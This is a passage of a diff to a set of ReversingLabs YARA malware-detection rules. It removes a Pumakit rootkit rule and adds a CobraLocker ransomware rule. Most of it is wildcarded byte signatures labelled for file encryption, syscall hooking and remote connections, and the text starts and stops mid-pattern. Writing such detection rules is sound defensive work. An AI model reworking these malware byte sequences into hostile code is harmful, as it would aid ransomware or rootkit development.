?? ?? ?? ?? 83 C4 - ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 EB ?? 8B 8D ?? ?? ?? - ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ?? - ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 - 5D C3 + $find_files_and_encrypt = { + E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 + ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 + ?? ?? ?? ?? 46 4B 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 + A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 + ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 80 C2 ?? E8 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 8B 00 FF + D0 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? + ?? ?? ?? 8B D3 80 C2 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? + ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 4B 80 FB ?? 0F 85 ?? ?? ?? ?? 57 A1 ?? ?? ?? + ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 + ?? ?? ?? ?? 8B 00 FF D0 EB ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 46 ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? ?? ?? ?? 57 A1 ?? + ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? + ?? ?? ?? 8B 00 FF D0 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? + ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? A1 ?? ?? ?? ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 52 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 50 B8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 59 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? C6 45 ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 8B + 5D ?? 4B 85 DB 7C ?? 43 33 F6 80 7D ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? + 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? + ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? + ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D + ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B + 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 46 4B 75 ?? BA ?? ?? + ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B C8 B8 ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? BA ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 B8 ?? ?? ?? + ?? 5A E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? FF 35 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? A1 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? + E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 + ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 } condition: - uint16( 0 ) == 0x5A4D and $ping_apnic and $download_bin_1 and $download_bin_2 + uint16( 0 ) == 0x5A4D and $find_files_and_encrypt and $remote_connection_1 and $remote_connection_2 } -rule REVERSINGLABS_Linux_Rootkit_Pumakit : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cobralocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Pumakit rootkit." + description = "Yara rule that detects CobraLocker ransomware." author = "ReversingLabs" - id = "c5c41245-6252-569a-992f-e27a5a3b67f0" - date = "2025-08-26" - modified = "2025-08-26" + id = "dada6370-3ae3-5931-ba9f-da56ebbcd8c8" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/rootkit/Linux.Rootkit.Pumakit.yara#L1-L161" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara#L1-L59" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "437ed7db3f71106b3e30f11ccbd43e66b7b79fc92dc5372d9497a4d2c328b55c" + logic_hash = "95f4c645c7c237d23b5028f824f78a5f9f8f0a4737b391d877582afe08264d7e" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Rootkit" - tc_detection_name = "Pumakit" - tc_detection_factor = 4 + tc_detection_type = "Ransomware" + tc_detection_name = "CobraLocker" + tc_detection_factor = 5 importance = 25 strings: - $hooking_syscalls_mechanism_p1 = { - E8 ?? ?? ?? ?? 55 48 C7 C7 ?? ?? ?? ?? 48 89 E5 41 57 41 56 41 55 41 54 53 51 E8 ?? - ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 31 D2 48 89 05 ?? ?? ?? ?? 48 8B BA ?? ?? ?? ?? 48 85 FF 75 ?? 48 - 8B 8A ?? ?? ?? ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 80 7C 01 ?? ?? 75 ?? 48 63 74 01 ?? - 48 01 C6 48 01 CE 48 81 FE ?? ?? ?? ?? 75 ?? 48 8D 3C 01 EB ?? 48 FF C0 48 83 F8 ?? - 75 ?? 48 89 BA ?? ?? ?? ?? 48 81 C2 ?? ?? ?? ?? 48 81 FA ?? ?? ?? ?? 75 ?? 48 C7 C3 - ?? ?? ?? ?? 49 C7 C5 ?? ?? ?? ?? 48 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 4C 8B 25 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3B - 2E E8 ?? ?? ?? ?? 49 89 C4 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 43 ?? 48 8B 05 ?? ?? ?? - ?? 4D 8D 74 24 ?? 4D 89 E7 48 8B 40 ?? 48 89 45 ?? 48 8B 75 ?? BA ?? ?? ?? ?? 4C 89 - FF E8 ?? ?? ?? ?? 85 C0 74 ?? 49 FF C7 4D 39 FE 75 ?? EB ?? 4D 85 FF 74 ?? 31 C0 4D - 39 FC 0F 94 C0 89 43 ?? 74 ?? 31 C0 41 81 3C 24 ?? ?? ?? ?? 0F 94 C0 89 43 ?? 4C 89 - 7B ?? 83 7B ?? ?? 74 ?? 48 8B 43 ?? 4C 89 20 83 7B ?? ?? 74 ?? 48 8B 43 ?? 48 8B 53 - ?? 48 83 C0 ?? 48 89 02 83 7B ?? ?? 75 ?? 48 8B 73 ?? 48 85 F6 74 ?? 48 C7 43 ?? ?? - ?? ?? ?? 4C 8D 63 ?? 31 C9 31 D2 48 C7 43 ?? ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 - C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 43 ?? ?? ?? ?? ?? 48 81 C3 ?? ?? ?? - ?? 49 39 DD 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? - ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? - ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 - } - $hooking_syscalls_mechanism_p2 = { - 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 - ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? - ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 - C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? - ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 - 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? - ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? - 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? - ?? 48 8B 90 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? - ?? ?? 48 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 50 ?? 48 C7 80 ?? - ?? ?? ?? ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 10 48 C7 40 ?? ?? ?? ?? ?? 48 89 15 - ?? ?? ?? ?? 48 8B 50 ?? 48 C7 00 ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? - ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 80 - } - $hook_rmdir_1 = { - E8 ?? ?? ?? ?? 55 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 E5 41 57 41 56 41 55 41 54 53 - 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8B 67 ?? 48 8D BD ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? - ?? ?? 48 89 45 ?? 31 C0 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 4C - 89 E6 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 48 AB 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 85 C0 7F ?? 48 8B 05 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 55 ?? 65 48 2B 14 - 25 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 41 5C 41 5D 41 5E 41 5F 5D - E9 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? - 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 83 F8 ?? 76 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 31 C0 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 B4 05 - ?? ?? ?? ?? 40 38 B0 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C0 ?? 48 83 F8 ?? 75 ?? BE - ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 8D 50 ?? 83 FA ?? 0F 8E ?? ?? ?? ?? 0F B6 B5 ?? ?? ?? ?? 83 FA ?? - 7E ?? 40 80 FE ?? 7E ?? 83 E8 ?? BA ?? ?? ?? ?? 85 C0 7F ?? EB ?? 39 C8 7E ?? 0F B6 - 8C 15 ?? ?? ?? ?? 88 8C 15 ?? ?? ?? ?? 89 D1 48 83 C2 ?? 83 F9 ?? 75 ?? 40 80 FE ?? - 0F 84 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 80 FE ?? 0F 84 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? - 40 80 FE ?? 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 63 90 ?? ?? ?? ?? 48 85 - D2 0F 8E ?? ?? ?? ?? 48 C7 C0 ?? ?? ?? ?? 49 C7 C5 ?? ?? ?? ?? EB ?? 48 83 C0 ?? 48 - 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 3B 10 75 ?? 48 8B 3D ?? ?? ?? ?? BA - } - $hook_rmdir_2 = { - BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 8B - 05 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 C7 C2 ?? ?? ?? ?? BE ?? - ?? ?? ?? 49 C7 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 41 80 7D ?? ?? 4C 89 E9 75 ?? - 41 8B 06 85 C0 74 ?? 48 C7 C1 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 49 63 - FF 4D 89 F0 44 29 FE 48 C7 C2 ?? ?? ?? ?? 48 63 F6 48 01 C7 E8 ?? ?? ?? ?? 41 01 C7 - 49 83 C5 ?? 49 83 C6 ?? 49 81 FD ?? ?? ?? ?? 75 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? - ?? 49 63 FF 48 C7 C2 ?? ?? ?? ?? 44 29 FE 48 63 F6 48 01 C7 E8 ?? ?? ?? ?? 46 8D 2C - 38 4D 63 ED 49 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? BA ?? ?? ?? - ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 4C 89 EA 4C 89 FE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B - BD - } - $hook_rmdir_3 = { - 49 83 C5 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 41 80 7D ?? ?? 75 ?? 48 98 48 8D B5 ?? - ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 04 40 48 C1 E0 ?? C6 80 ?? ?? ?? ?? ?? 48 8B 95 - ?? ?? ?? ?? 4C 8D A0 ?? ?? ?? ?? 48 89 90 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? 49 89 44 24 ?? E8 ?? ?? ?? ?? 49 89 44 24 ?? E9 ?? ?? ?? ?? 40 80 FE ?? 0F 84 - ?? ?? ?? ?? 40 80 FE ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 0F - 8F ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 63 B8 ?? ?? ?? ?? 48 89 3D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 48 85 C0 0F 84 ?? ?? ?? - ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F BE 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 8D ?? - ?? ?? ?? BE ?? ?? ?? ?? 31 D2 EB ?? 8D 14 92 8D 54 50 ?? 0F BE 41 ?? 48 83 C1 ?? 84 - C0 0F 84 ?? ?? ?? ?? 8D 78 ?? 40 80 FF ?? 76 ?? 3C ?? 0F 85 ?? ?? ?? ?? 81 FA ?? ?? - ?? ?? 0F 8F ?? ?? ?? ?? 83 FE ?? 0F 8F ?? ?? ?? ?? 48 63 C6 83 EE ?? 89 94 85 ?? ?? - ?? ?? 31 D2 EB ?? 49 C7 C5 ?? ?? ?? ?? 49 8B 45 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 49 83 - 7D ?? ?? 0F 89 ?? ?? ?? ?? 4D 85 ED 0F 84 ?? ?? ?? ?? 41 8B 45 ?? BA ?? ?? ?? ?? 4C - 89 E7 48 8D B5 ?? ?? ?? ?? 4D 8D B5 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 - } - $hook_rmdir_4 = { - 8D 75 ?? 49 8D 7C 24 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 F7 E8 ?? - ?? ?? ?? 49 89 C7 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 89 C6 BA - ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 49 8D 7C 24 ?? 4C 89 F6 4C 89 FA E8 ?? ?? ?? ?? - BE ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 49 63 8D ?? ?? ?? ?? 83 C0 ?? 4D 8D 7D ?? 49 01 C4 48 81 F9 ?? ?? ?? ?? 0F - 87 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 4C 89 FF 48 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B 95 ?? ?? ?? ?? 4C 89 FE 4C 89 E7 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 F7 - BA ?? ?? ?? ?? F3 48 AB 31 F6 4C 89 FF E8 ?? ?? ?? ?? 41 C7 45 ?? ?? ?? ?? ?? 49 C7 - 45 ?? ?? ?? ?? ?? 41 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 49 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? - ?? ?? 49 8D 95 ?? ?? ?? ?? 49 81 FD ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89 D5 E9 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 89 C7 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 - C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 31 C0 E9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 C7 C6 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? BE ?? ?? ?? ?? 31 D2 48 63 F6 89 94 B5 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? C1 E2 ?? C1 E0 ?? 09 C2 8B 85 ?? ?? ?? ?? 0B 95 ?? ?? ?? ?? C1 E0 ?? - 09 C2 0F 84 + $encrypt_files = { + 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 ?? + ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 09 